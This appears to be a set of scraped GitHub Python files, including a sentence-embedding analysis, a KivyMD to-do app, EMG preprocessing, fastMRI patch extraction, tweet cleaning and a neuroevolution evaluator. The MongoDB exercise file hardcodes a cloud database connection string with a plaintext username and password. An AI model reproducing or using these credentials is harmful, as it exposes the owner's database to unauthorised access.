+{"seq_id":"40010078790","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom util.evaluate_RSA import get_dists\n\ndata_dir = '../data/sentence-based/embeddings/part/'\ntarget_langs = [\"de\", \"nl\", \"fr\", \"es\", \"bg\", \"da\", \"cs\", \"pl\", \"pt\", \"it\", \"ro\", \"sk\", \"sl\", \"sv\", 'lt', 'lv']\n\nstart = 400\nend = 600\n\ndim = 1024\ntarget_embeddings = []\nfor l in target_langs:\n    X = np.fromfile(data_dir + l + \"_embeddings.raw\", dtype=np.float32, count=-1)\n    X.resize(X.shape[0] // dim, dim)\n    X = X[start:end]\n    target_embeddings.append(X)\n\n# Get English sentences\nwith open(data_dir + \"en_sents.txt\") as f:\n    content = f.readlines()\ncontent = [x.strip() for x in content]\ncontent = content[start:end]\n\nx, C = get_dists(target_embeddings, labels=target_langs, ticklabels=content, distance=\"cosine\")\n\npairs = {}\nfor sent1 in range(0, len(content)):\n    for sent2 in range(0, len(content)):\n        if sent1 < sent2:\n            similarities = np.array([C[lang][sent1][sent2] for lang in range(0, len(C))])\n            pairs[(content[sent1], content[sent2])] = similarities\n\nvar = {}\nfor key in pairs.keys():\n    var[key] = np.var(pairs[key])\n\nprint(\"Pairs with variation across languages:\")\nsortedKeys = sorted(var, key=var.get, reverse=True)\nplt.figure(1)\ni = 1\nr = 150\ncol = 1\nindices = [0, 1, 2]\nfig, axes = plt.subplots(nrows=len(indices), ncols=col)\n\ncolors = [\"m\", \"c\", \"g\"]\nplt.tight_layout()\nn = 0\nfor key in sortedKeys[:r * col]:\n    if n in indices:\n        ax = plt.subplot(len(indices), col, i)\n        if len(colors) < i:\n            color = \"b\"\n        else:\n            color = colors[i - 1]\n        ax.plot(target_langs, pairs[key], linestyle='dashed', color=color)\n        plt.title(\", \".join([key[0], key[1]]), fontsize=10)\n        plt.ylabel(\"Cos Similarity\", fontsize=8)\n        ax.set_ylim(0.0, 1.0)\n        plt.yticks(np.arange(0, 1, step=0.2), fontsize=8)\n        print(key, var[key])\n        i += 1\n    n += 1\n\nplt.show()\n\nprint(\"\\n\\nPairs with lowest standard deviation across languages:\")\nfor key in sortedKeys[-15:]:\n    print(key, var[key])\n\nprint(\"\\n\\nPairs with highest standard deviation across languages:\")\nn = 0\nfor key in sortedKeys[0:150]:\n    print(\"n= \", n, key, var[key])\n    n += 1\n","repo_name":"beinborn/SemanticDrift","sub_path":"detailed_analyses/most_changing_sentencepairs.py","file_name":"most_changing_sentencepairs.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"25657048572","text":"from kivymd.uix.card import MDCard\nfrom kivymd.uix.dialog import MDDialog\nfrom kivymd.uix.boxlayout import MDBoxLayout\nfrom kivymd.uix.pickers import MDDatePicker\nfrom kivymd.uix.list import TwoLineAvatarIconListItem, ILeftBodyTouch, OneLineListItem\nfrom kivymd.uix.selectioncontrol import MDCheckbox\nfrom kivymd.uix.menu import MDDropdownMenu\nfrom kivymd.app import MDApp\nfrom kivy.clock import Clock\n\nfrom functools import partial\n\nfrom JSON_Interface import JsonData\n\n\nclass ProjectCard(MDCard):\n    pass\n\nclass LoadedProjectCard(ProjectCard):\n    def __init__(self, content, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.loaded_content = content\n        Clock.schedule_once(partial(self.apply_content))\n\n    def apply_content(self, *largs):\n        self.ids.project_title.text = self.loaded_content[\"project_name\"] \n\nclass ToDoListcard(MDCard):\n    to_do_list_dialog = None\n    options_menu = None\n    def show_create_task_dialog(self):\n        if not self.to_do_list_dialog:\n            self.to_do_list_dialog = MDDialog( # define one \n                    title=\"Add a task\",\n                    type=\"custom\",\n                    content_cls=CreateTaskDialog(self),\n                    auto_dismiss = False\n                )\n        self.to_do_list_dialog.open()\n\n    def close_dialog(self):\n        self.to_do_list_dialog.dismiss()\n        self.to_do_list_dialog = None\n\n    def open_drop_menu(self):\n        app = MDApp.get_running_app()\n        menu_items = [\n            {\n                \"text\": f\"Delete List\",\n                \"viewclass\": \"OneLineListItem\",\n                \"on_release\": lambda x=f\"Delete List\": self.delete_list(),\n            },\n            {\n                \"text\": f\"Edit List\",\n                \"viewclass\": \"OneLineListItem\",\n                \"on_release\": lambda x=f\"Add List to a project\": self.open_edit_list_dialog(),\n            },\n            {\n                \"text\": f\"Move List to a project\",\n                \"viewclass\": \"OneLineListItem\",\n                \"on_release\": lambda x=f\"Add List to a project\": self.open_move_list_dialog(),\n            }\n        ]\n        if str(app.root.ids.screen_manager.current_screen) != \"<Screen name='home'>\":\n            menu_items[2] = {\n                \"text\": f\"Move List to a folder\",\n                \"viewclass\": \"OneLineListItem\",\n                \"on_release\": lambda x=f\"Add List to a folder\": self.open_move_list_dialog(),\n            }\n            menu_items.append({\n                \"text\": f\"Move list to previous screen\",\n                \"viewclass\": \"OneLineListItem\",\n                \"on_release\": lambda x=f\"Add List to a project\": self.move_list_to_previous_screen(),\n            })\n\n        self.options_menu = MDDropdownMenu(\n            caller=self.ids.options_button,\n            items=menu_items,\n            width_mult=4,\n        )\n        self.options_menu.open()\n    \n    def delete_list(self):\n        self.options_menu.dismiss()\n        self.parent.remove_widget(self)\n        JsonData(\"data.json\").remove_list(MDApp.get_running_app().root.ids.screen_manager.current_screen.name, self.ids.list_name_title.text)\n    \n    def open_edit_list_dialog(self):\n        self.options_menu.dismiss()\n        if not self.to_do_list_dialog:\n            self.to_do_list_dialog = MDDialog( # define one \n                    title=\"Edit List\",\n                    type=\"custom\",\n                    content_cls=EditListDialog(self),\n                    auto_dismiss = False\n                )\n        self.to_do_list_dialog.open()\n\n    def open_move_list_dialog(self):\n        self.options_menu.dismiss()\n        if not self.to_do_list_dialog:\n            self.to_do_list_dialog = MDDialog(\n                title=\"Choose Project to move list to\",\n                type =\"custom\",\n                content_cls=MoveListDialog(self),\n                auto_dismiss = False\n            )\n        self.to_do_list_dialog.open()\n    \n    def move_list_to_previous_screen(self):\n        JsonData(\"data.json\").move_list(MDApp.get_running_app().root.ids.screen_manager.current_screen.name, self.ids.list_name_title.text, MDApp.get_running_app().root.ids.screen_manager.current_screen.previous.name)\n\nclass CreateTaskDialog(MDBoxLayout):\n    def __init__(self, card, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.card_called_from = card\n    \n    def show_date_picker(self):\n        date_dialog = MDDatePicker() #instantiate date picker widget\n        date_dialog.bind(on_save=self.on_save) #bind the date picker to a function that saves content\n        date_dialog.open() # open the dialog \n\n    # saves date when selected \n    def on_save(self, instance, value, date_range):\n        date = value.strftime(\"%A %d %B %Y\") \n        self.ids.date_text.text = str(date)\n\n    def add_task(self):\n        task_name = self.ids.task_text\n        task_deadline = self.ids.date_text\n\n        list_item = ListItemWithCheckbox(self.card_called_from, text=task_name.text, secondary_text=task_deadline.text)\n\n        self.card_called_from.ids.to_do_list.add_widget(list_item)\n        self.adjsut_list_height(self.card_called_from, list_item.height)\n        task_json = {\"task_name\":task_name.text, \"completed\":False, \"task_date\": task_deadline.text}\n        JsonData(\"data.json\").append_new_task(MDApp.get_running_app().root.ids.screen_manager.current_screen.name, self.card_called_from.ids.list_name_title.text, task_json)\n        task_name.text = \"\"\n        task_deadline.text = \"\"\n\n    def adjsut_list_height(self, card, item_height):\n        card.height = str(75 + (len(card.ids.to_do_list.children)*item_height)) + \"dp\"\n\n    def close_dialog(self):\n        self.card_called_from.close_dialog()\n\nclass ListItemWithCheckbox(TwoLineAvatarIconListItem):\n    def __init__(self, origin_card, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.card_called_from = origin_card\n    # Allows users to complete tasks and see them crossed out \n    def mark(self, check, list_item):\n        if check.active == True: # when a checkbox is ticked\n            list_item.text = \"[s]\"+list_item.text+\"[/s]\" # add strike through format to completed tasks\n        else:\n            list_item.text = list_item.text.replace(\"[s]\", \"\").replace(\"[/s]\",\"\") # remove strike through markup\n    # Allows for the deletion of item upon clcking the \"bin icon\"\n        new_json_string = {\"task_name\": self.text.replace(\"[s]\",\"\").replace(\"[/s]\",\"\"), \"completed\": check.active, \"task_date\": self.secondary_text}\n        print(list_item.text)\n        JsonData(\"data.json\").edit_task(MDApp.get_running_app().root.ids.screen_manager.current_screen.name,self.card_called_from.ids.list_name_title.text,self.text.replace(\"[s]\",\"\").replace(\"[/s]\",\"\"), new_json_string)\n    \n    def delete_item(self, list_item): \n        JsonData(\"data.json\").remove_task(MDApp.get_running_app().root.ids.screen_manager.current_screen.name, \n                             self.card_called_from.ids.list_name_title.text, \n                             self.text.replace(\"[s]\",\"\").replace(\"[/s]\",\"\"))\n        \n        self.parent.remove_widget(list_item)\n        self.adjsut_list_height(list_item.height)\n \n\n    \n    def adjsut_list_height(self, item_height):\n        card = self.card_called_from\n        card.height = str(75 + (len(card.ids.to_do_list.children)*item_height)) + \"dp\"\n\n    edit_task_dialog = None\n    def open_edit_task_dialog(self):\n        if not self.edit_task_dialog:\n            self.edit_task_dialog = MDDialog(\n                title=\"Edit a task\",\n                type=\"custom\",\n                content_cls=EditTaskDialog(self, self.card_called_from),\n                auto_dismiss = False\n            )\n        self.edit_task_dialog.open()\n    \n    def close_edit_task_dialog(self):\n        self.edit_task_dialog.dismiss()\n        self.edit_task_dialog = None\n\n# Checkbox for list items \nclass LeftCheckbox(ILeftBodyTouch, MDCheckbox):\n    pass\n\nclass EditTaskDialog(MDBoxLayout):\n    def __init__(self, list_item, card_called_from, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.item_to_edit = list_item\n        self.ids.task_text.text = list_item.text\n        self.ids.date_text.text = list_item.secondary_text\n        self.card = card_called_from\n    \n    def edit_task(self):\n        new_json_string = {\"task_name\": self.ids.task_text.text, \"completed\": self.item_to_edit.ids.check.active, \"task_date\":self.ids.date_text.text}\n        JsonData(\"data.json\").edit_task(MDApp.get_running_app().root.ids.screen_manager.current_screen.name, self.card.ids.list_name_title.text, self.item_to_edit.text, new_json_string)\n        self.item_to_edit.text = self.ids.task_text.text\n        self.item_to_edit.secondary_text = self.ids.date_text.text\n        \n    def show_date_picker(self):\n        date_dialog = MDDatePicker() #instantiate date picker widget\n        date_dialog.bind(on_save=self.on_save) #bind the date picker to a function that saves content\n        date_dialog.open() # open the dialog \n\n    # saves date when selected \n    def on_save(self, instance, value, date_range):\n        date = value.strftime(\"%A %d %B %Y\") \n        self.ids.date_text.text = str(date)\n\n    def close_dialog(self):\n        self.item_to_edit.close_edit_task_dialog()\n\nclass EditListDialog(MDBoxLayout):\n    def __init__(self, card,*args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.list_to_edit = card\n        self.ids.list_name_input.text = card.ids.list_name_title.text\n    \n    def edit_list(self):\n        JsonData(\"data.json\").edit_list(MDApp.get_running_app().root.ids.screen_manager.current_screen.name, self.list_to_edit.ids.list_name_title.text, self.ids.list_name_input.text)\n        self.list_to_edit.ids.list_name_title.text = self.ids.list_name_input.text\n        \n\n    def close_dialog(self):\n        self.list_to_edit.close_dialog()\n\nclass MoveListDialog(MDBoxLayout):\n    create_project_dialog = None\n    def __init__(self, card,*args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.card_called_from = card\n        self.populate_dialog()\n        \n    def populate_dialog(self):\n        for child in self.ids.list_of_projects.children:\n            if child.text != \"Create new project\":\n                self.ids.list_of_projects.remove_widget(child)\n        for child in self.card_called_from.parent.children:\n            if \"ProjectCard\" in str(child):\n                self.ids.list_of_projects.add_widget(ProjectListItem(self.card_called_from, child.ids.project_title.text, text = child.ids.project_title.text))\n\n    def close_dialog(self):\n        self.card_called_from.close_dialog()\n\n    def create_new_project(self):\n        app = MDApp.get_running_app()\n        app.root.ids.screen_manager.current_screen.open_create_project_dialog()\n        Clock.schedule_once(self.check_dialog_is_closed)\n    \n    def check_dialog_is_closed(self, dt):\n        app = MDApp.get_running_app()\n        if app.root.ids.screen_manager.current_screen.dialog_box == None:\n            self.populate_dialog()\n        else:\n            Clock.schedule_once(self.check_dialog_is_closed, 0.1)\n\n    \nclass ProjectListItem(OneLineListItem):\n    create_move_project_dialog = None\n    def __init__(self, card, project_page,*args, **kwargs):\n        super().__init__(*args, **kwargs)\n        app = MDApp.get_running_app()\n        self.project_screen = app.root.ids.screen_manager.get_screen(project_page)\n        self.card_called_from = card\n\n    def move_list(self):\n        JsonData(\"data.json\").move_list(MDApp.get_running_app().root.ids.screen_manager.current_screen.name, self.card_called_from.ids.list_name_title.text, self.project_screen.name)\n        self.card_called_from.parent.remove_widget(self.card_called_from)\n        self.project_screen.ids.Container.add_widget(self.card_called_from)\n        self.card_called_from.close_dialog()\n\nclass LoadedToDoListCard(ToDoListcard):\n    def __init__(self, content, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.loaded_content = content\n        Clock.schedule_once(partial(self.apply_content))\n    \n    def apply_content(self, *largs):\n        self.ids.list_name_title.text = self.loaded_content[\"list_name\"]\n        for i in self.loaded_content[\"list_items\"]:\n            loaded_task = ListItemWithCheckbox(self, text = i[\"task_name\"], secondary_text= i[\"task_date\"])\n            if i[\"completed\"] == True:\n                loaded_task.ids.check.active = True\n                loaded_task.mark(loaded_task.ids.check, loaded_task)\n            self.ids.to_do_list.add_widget(loaded_task)\n            loaded_task.adjsut_list_height(loaded_task.height)\n    \n\n\n","repo_name":"Dean-Fw/ToDoApp","sub_path":"ToDoCard.py","file_name":"ToDoCard.py","file_ext":"py","file_size_in_byte":12678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"25344833635","text":"from scipy import linalg\nfrom scipy.signal import butter, lfilter\nimport numpy as np\n\ndef flatten_signal(raw):\n    \"\"\"\n    Takes the raw EMG signal array, flattens it, and removes empty channels with no data.\n\n    Parameters\n    ----------\n    raw: numpy.ndarray\n        Raw EMG signal array.\n\n    Returns\n    -------\n    numpy.ndarray\n        Flattened EMG signal array, with empty channels removed.\n    \"\"\"\n    # Flatten input array\n    raw_flattened = raw.flatten()\n    # Remove empty channels and then removes dimension of size 1\n    raw_flattened = np.array(\n        [channel for channel in raw_flattened if 0 not in channel.shape]\n    ).squeeze()\n\n    return raw_flattened\n\ndef butter_bandpass_filter(data, lowcut=10, highcut=900, fs=2048, order=6):\n    \"\"\"\n    Filters input data using a Butterworth band-pass filter.\n\n    Parameters\n    ----------\n        data: numpy.ndarray\n            1D array containing data to be filtered.\n        lowcut: float\n            Lower range of band-pass filter.\n        highcut: float\n            Upper range of band-pass filter.\n        fs: float\n            Sampling frequency in Hz.\n        order: int\n            Order of filter.\n\n    Returns\n    -------\n        numpy.ndarray\n            Filtered data.\n\n    Examples\n    --------\n        >>> butter_bandpass_filter(data, 10, 900, 2048, order=6)\n    \"\"\"\n    \n    b, a = butter(order, [lowcut, highcut], fs=fs, btype=\"band\")\n    filtered_data = lfilter(b, a, data)\n    return filtered_data\n\ndef extend_input_by_R(x, R):\n    \"\"\"\n    Takes a one-dimensional array and extends it using past observations.\n\n    Parameters\n    ----------\n        x: numpy.ndarray\n            1D array to be extended.\n        R: int\n            How far to extend x.\n    Returns\n    -------\n        numpy.ndarray\n            len(x) by R+1 extended array.\n\n    Examples\n    --------\n        >>> R = 5\n        >>> x = np.array([1, 2, 3])\n        >>> extend_input_by_R(x, R)\n        array([[1., 2., 3.],\n               [0., 1., 2.],\n               [0., 0., 1.],\n               [0., 0., 0.],\n               [0., 0., 0.],\n               [0., 0., 0.]])\n\n    \"\"\"\n\n    # Create array with R+1 rows and length of x + R columns\n    extended_x = np.zeros((R + 1, len(x) + R))\n\n    # Create array where each row is a delayed version of the previous row\n    for i in range(R + 1):\n        extended_x[i][i : i + len(x)] = x\n\n    # Optional: Cut off extra R rows\n    extended_x = extended_x.T[0 : len(x)].T\n\n    return extended_x\n\n\ndef extend_all_channels(x_mat, R):\n    \"\"\"\n    Takes an array with dimensions M by K,\n    where M represents number of channels and K represents observations,\n    and \"extends\" it to return an array of shape M * (R+1) by K.\n\n    Parameters\n    ----------\n        x_mat: numpy.ndarray\n            2D array to be extended.\n        R: int\n            How far to extend x.\n\n    Returns\n    -------\n        numpy.ndarray\n            M(R+1) x K extended array.\n\n    Examples\n    --------\n        >>> R = 3\n        >>> x_mat = np.array([[1, 2, 3, 4,], [5, 6, 7, 8,]])\n        >>> extend_all_channels(x_mat, R)\n        array([[1., 2., 3., 4.],\n               [0., 1., 2., 3.],\n               [0., 0., 1., 2.],\n               [0., 0., 0., 1.],\n               [5., 6., 7., 8.],\n               [0., 5., 6., 7.],\n               [0., 0., 5., 6.],\n               [0., 0., 0., 5.]])\n\n    \"\"\"\n    extended_x_mat = np.zeros([x_mat.shape[0], (R + 1), x_mat.shape[1]])\n\n    for i, channel in enumerate(x_mat):\n        # Extend channel\n        extended_channel = extend_input_by_R(channel, R)\n\n        # Add extended channel to the overall matrix of extended channels\n        extended_x_mat[i] = extended_channel\n\n    # Reshape to get rid of channels\n    extended_x_mat = extended_x_mat.reshape(x_mat.shape[0] * (R + 1), x_mat.shape[1])\n\n    return extended_x_mat\n\n\ndef center_matrix(x):\n    \"\"\"\n    Subtract mean of each row.\n    Results in the data being centered around x=0.\n\n    Parameters\n    ----------\n        x: numpy.ndarray\n            Matrix of arrays to be centered.\n\n    Returns\n    -------\n        numpy.ndarray\n            Centered matrix array.\n\n    Examples\n    --------\n    >>> x = np.array([[1, 2, 3], [4, 6, 8]])\n    >>> center_matrix(x)\n    array([[-1.,  0.,  1.],\n           [-2.,  0.,  2.]])\n    \"\"\"\n    x_cent = x.T - np.mean(x.T, axis=0)\n    x_cent = x_cent.T\n    return x_cent\n\n\ndef whiten(x):\n    \"\"\"\n    Whiten the input matrix through zero component analysis.\n\n    Parameters\n    ----------\n        x: numpy.ndarray\n            Centred 2D array to be whitened.\n\n    Returns\n    -------\n        numpy.ndarray\n            Whitened array.\n\n    Examples\n    --------\n        >>> x = np.array([[1, 2, 3, 4],  # Feature-1\n                          [5, 6, 7, 8]]) # Feature-2\n        >>> whiten(x)\n        array([[-1.34217726e+08, -1.34217725e+08, -1.34217725e+08, -1.34217724e+08],\n               [ 1.34217730e+08,  1.34217731e+08,  1.34217731e+08, 1.34217732e+08]])\n    \"\"\"\n\n    # Calculate covariance matrix\n    cov_mat = np.cov(x, rowvar=True, bias=True)\n\n    # Eigenvalues and eigenvectors\n    w, v = linalg.eig(cov_mat)\n    \n    # Apply regularization factor, replacing eigenvalues smaller than it with the factor\n    reg_factor = w[round(len(w) / 2):].mean()\n    w = np.where(w < reg_factor, reg_factor, w)\n\n    # Diagonal matrix inverse square root of eigenvalues\n    diagw = np.diag(1 / (w ** 0.5))\n    diagw = diagw.real\n\n    # Whitening using zero component analysis: v diagw v.T x\n    wzca = np.dot(v, np.dot(diagw, v.T))\n    z = np.dot(wzca, x)\n\n    return z","repo_name":"The-Motor-Unit/EMGdecomPy","sub_path":"src/emgdecompy/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":5561,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"}
+{"seq_id":"24658423733","text":"from .find import find\nfrom .is_a_function import isAFunction\nfrom .is_a_number import isANumber\nfrom .is_a_numpy_array import isANumpyArray\nfrom .is_a_pandas_dataframe import isAPandasDataFrame\nfrom .is_a_pandas_series import isAPandasSeries\nfrom .is_a_string import isAString\nfrom .is_a_tensor import isATensor\nfrom .is_undefined import isUndefined\nimport json\n\n\ndef isPrimitive(x):\n    if isANumber(x):\n        return True\n\n    if isAString(x):\n        return True\n\n    if type(x) == bool:\n        return True\n\n    if isUndefined(x):\n        return True\n\n    return False\n\n\ndef toSerializableObject(x, used=[]):\n    # cases to handle:\n    # primitives:\n    #   - numbers\n    #   - strings\n    #   - booleans\n    #   - undefined / None / nan\n    # functions\n    # arrays\n    #   - plain lists\n    #   - numpy arrays\n    #   - pandas series and dataframes\n    # dictionaries\n    # class instances\n    # circular references\n    if isPrimitive(x):\n        return x\n\n    elif isAFunction(x):\n        return str(x)\n\n    elif isATensor(x):\n        if isANumpyArray(x):\n            return toSerializableObject(x.tolist(), used=used)\n\n        elif isAPandasSeries(x):\n            return {\n                \"name\": x.name,\n                \"values\": toSerializableObject(x.values.tolist(), used=used),\n                \"index\": toSerializableObject(x.index.tolist(), used=used),\n            }\n\n        elif isAPandasDataFrame(x):\n            return {\n                \"values\": toSerializableObject(x.values.tolist(), used=used),\n                \"columns\": toSerializableObject(x.columns.tolist(), used=used),\n                \"index\": toSerializableObject(x.index.tolist(), used=used),\n            }\n\n        else:\n            out = []\n\n            for item in x:\n                hexId = hex(id(item))\n\n                if not hexId in used:\n                    if not isPrimitive(item):\n                        used.append(hexId)\n\n                    out.append(toSerializableObject(item, used=used))\n\n                else:\n                    out.append(\"<cyclic reference to: \" + hexId + \">\")\n\n            return out\n\n    else:\n        try:\n            out = {}\n\n            for key in x.keys():\n                value = x[key]\n                hexId = hex(id(value))\n\n                if not hexId in used:\n                    if not isPrimitive(value):\n                        used.append(hexId)\n\n                    out[key] = toSerializableObject(value, used=used)\n\n                else:\n                    out[key] = \"<cyclic reference to: \" + hexId + \">\"\n\n            return out\n\n        except:\n            pass\n\n        try:\n            return toSerializableObject(x.__dict__, used=used)\n\n        except:\n            pass\n\n        return x\n\n\ndef saveJSON(path, data, indentation=2):\n    assert isAString(path), \"`path` must be a string!\"\n\n    if not isAString(data):\n        try:\n            data = toSerializableObject(data)\n\n        except:\n            raise Exception(\n                \"The data passed into the `saveJSON` function could not be serialized!\"\n            )\n\n    data = json.dumps(data, sort_keys=True, indent=indentation)\n\n    with open(path, \"w\") as file:\n        file.write(data)\n","repo_name":"jrc03c/pyds","sub_path":"pyds/save_json.py","file_name":"save_json.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"27163429650","text":"import string\nimport csv\nimport nltk\nimport re\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize \nimport sys\n\n# Cleans csv files of actual twitter data: remove links\n\nfolder = sys.argv[1]\n\nif folder == 'raw_data':\n\tkeyword = sys.argv[2]\n\tweek = sys.argv[3]\n\tfile_in = folder + '/' + keyword + '/' + keyword + '_' + week + '.csv'\n\tfile_out = 'cleaned_data_sent' + '/' + keyword + '/' + keyword + '_' + week + '.txt'\nelse:\n\tmonth = sys.argv[2]\n\tfile_in = folder + '/' + month + '.csv'\n\tfile_out = month + '.txt'\n\nlines = []\n    \nreader = csv.reader(open(file_in))\nfor row in reader:\n    # remove links\n    toAdd = re.sub(r'\\S+.com\\S+|http\\S+|\\S+http\\S+', '', row[6])\n    lines.append(toAdd)\n\nwith open(file_out, \"w\") as text_file:\n\tfor tweet in lines[1:]:\t\n\t\ttext_file.write(tweet + '\\n')","repo_name":"stam17/Coronavirus-Twitter-Trends","sub_path":"clean2.py","file_name":"clean2.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"48765740639","text":"import os\nimport matplotlib.pyplot as plt\nimport h5py\nimport numpy as np\nfrom skimage import measure\nimport pickle\n\nsplit = 'val' # options available ['train', 'val']\nif split not in ['train','val']:\n    print('wrong split specified - possible options are [\"train\",\"val\"]')\n    exit()\n\nif split == 'train':\n    max_r, max_c, max_z = 0, 0, 0\nelif split == 'val':\n    max_r, max_c, max_z = 0, 0, 0\n\n'''\n[max_c, max_r, max_z] are computed using the abnormality annotation. \nThese represent the location in the training set where to extract the patches. \nThese values are used to reposition the patch in the actual fullimage space and extract the patch\n'''\n\ngeneral_save_folder = 'fastMRI/extracted_patches'\nsave_pickle_in = '../pickle_files/'\nif general_save_folder[-1] != '/':\n    general_save_folder+='/'\n\nif not os.path.isdir(general_save_folder):\n    os.makedirs(general_save_folder)\n\nfor patch_size, stride in zip([32,64],[2,8]):\n    print(f'Now generating patches size {patch_size}x{patch_size} with stride {stride} on split {split}')\n\n    # path to the pickle file which \n    pickle_patches = pickle.load(open(f'../pickle_files/patches_size{patch_size}_stride{stride}_{split}.pickle','rb'))\n    \n    # paths to the folder which includes the reconstructed MRIs. These should be saved with the same convention as the fastmri dataset.\n    # an example file is included in the folder data_sample. sample_data/file1000017.h5\n \n    all_path_modality = ['h5_recons/unet4x/',\n                        'h5_recons/fnaf-unet4x/',\n                        'h5_recons/bbox-unet4x',\n                        'h5_recons/irim4x/',\n                        'h5_recons/fnaf-irim4x',\n                        'h5_recons/bbox-irim4x',\n                        'h5_recons/unet8x/',                        \n                        'h5_recons/fnaf-unet8x/',  \n                        'h5_recons/bbox-unet8x',                     \n                        'h5_recons/irim8x/',                        \n                        'h5_recons/fnaf-irim8x',\n                        'h5_recons/bbox-irim8x']\n                        \n    modality = [x.split('/')[-2] for x in all_path_modality]\n\n    for id_mod in range(len(all_path_modality)):\n        predictions_path = all_path_modality[id_mod]\n        pickle_cnt = []\n        save_patches_in = f'{general_save_folder}patches_size{patch_size}_stride{stride}_{modality[id_mod]}/'        \n        try:\n            os.makedirs(save_patches_in)\n            print(f'output will be saved in {save_patches_in}')\n        except:\n            print(f'output will be saved in {save_patches_in}')\n\n        for id_file in range(len(pickle_patches)):\n            file = pickle_patches[id_file]\n            label = file[1]\n            name = file[0].split('/')[-1].split('.')[0].split('_')[0]\n            yy = int(file[0].split('/')[-1].split('.')[0].split('_r')[-1].split('_')[0])\n            xx = int(file[0].split('/')[-1].split('.')[0].split('_c')[-1].split('_')[0])\n            zz = int(file[0].split('/')[-1].split('.')[0].split('_z')[-1].split('_')[0])\n\n            big_mri_esc = np.zeros([max_r,max_c,max_z])\n            mri_recon = np.transpose(np.flip(np.array(h5py.File((predictions_path+name+'.h5'),'r')['reconstruction']),axis=1),[1,2,0])\n            r,c,z = mri_recon.shape\n            cropping_required_uplrba = [int(np.floor(max_r-r)/2),int(np.ceil(max_r-r)/2),int(np.floor(max_c-c)/2),int(np.ceil(max_c-c)/2),int(np.floor(max_z-z)/2),int(np.ceil(max_z-z)/2)]\n            big_mri_esc[cropping_required_uplrba[0]:cropping_required_uplrba[0]+r,cropping_required_uplrba[1]:cropping_required_uplrba[1]+c,cropping_required_uplrba[2]:cropping_required_uplrba[2]+z] = mri_recon\n\n            # This loads the original fastMRI sample\n            # hf_fastmri = np.array(h5py.File(file[0],'r')['patch_esc'])\n            \n            hf_recon = big_mri_esc[yy:yy+patch_size,xx:xx+patch_size,zz]\n            \n            name = file[0].split('/')[-1]\n            filename = save_patches_in + name\n            hf = h5py.File(filename,'w')\n            hf.create_dataset('patch_esc', data = hf_recon.astype(np.float32))\n            hf.close()\n            pickle_cnt.append([filename,label])\n        pickle.dump(pickle_cnt, open(\n            f'{save_pickle_in}patches_size{patch_size}_stride{stride}_{modality[id_mod]}_{split}.pickle', 'wb'))\n","repo_name":"fcaliva/fastMRI_BB_abnormalities_annotation","sub_path":"Abnormality-classification/src/extract_patches_on_recon_results.py","file_name":"extract_patches_on_recon_results.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"22"}
+{"seq_id":"10398523670","text":"import pymongo\nclient = pymongo.MongoClient(\"mongodb+srv://dbuser:dbuser123@cluster0.fjttryf.mongodb.net/?retryWrites=true&w=majority\")\ndbName = \"ediz\"\ndb=client[dbName]\ncolName = \"musteriler\"\ncol=db[colName]\n\n\n\n# update_many\n#yenideger = {\"$set\":{\"adi\":\"ediz@ibrahimediz.com\"}}\n#sorgu = {\"yas\":{\"$gt\":0}}\n#result = col.find(sorgu,{})\n#    print(item)\n#for item in result:\n#guncelleme = col.update_many(sorgu, yenideger)\n#result = col.find(sorgu,{})\n#for item in result:\n#    print(item)\n#print(guncelleme.modified_count)\n\n\"\"\" Egzersiz\nKendi veritabanı ve koleksiyonunda duran dökümanda adi alanındaki bilgiyi \ntümünü büyük harf yapacak şekilde değiştirelim\nMongo_08_update.py dosyası içerisine egzersizinizi yapabilirsiniz.\n\"\"\"\n\nwith client:\n    db = client.ediz\n    liste = db.musteriler.find()\n    for item in liste:\n        print(item[\"_id\"])\n        sorgu = {\"_id\":{\"$eq\":item[\"_id\"]}}\n        yenideger = {\"$set\":{\"adi\":item[\"adi\"].upper()}}\n        guncelle = db.musteriler.update_one(sorgu, yenideger)\n","repo_name":"ibrahimediz/sekerbanknosqlegitim","sub_path":"Exercises/Can/Mongo_08_update.py","file_name":"Mongo_08_update.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29618320723","text":"import numpy as np \nimport gym \nfrom utils import *\nimport preprocess\n\nimport pdb\n\ndef Evaluate(ind, opts): \n\n    net_dict = Ind2Network(ind, opts)\n\n    game_env = gym.make(opts.game)\n    pre_func = getattr(preprocess, opts.preprocess)(opts.input_dim, \n                                                    **opts.preprocess_args)\n\n    total_reward, num_done = 0, 0\n    \n    while num_done < opts.num_episodes: \n\n        curr_input = game_env.reset()\n        pre_func.Reset()\n        net_input = pre_func(curr_input)\n        done = False\n\n        while not done:     \n            if opts.render: \n                game_env.render()\n\n            out = ForwardPass(net_dict, net_input)\n            action = out.argmax(axis=0)\n        \n            curr_input, reward, done, info = game_env.step(action)\n            net_input = pre_func(curr_input)\n        \n            total_reward += reward\n        \n        num_done += 1 \n    \n    game_env.close()\n    return total_reward,","repo_name":"muneebaadil/atari-neuroevolution","sub_path":"code/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
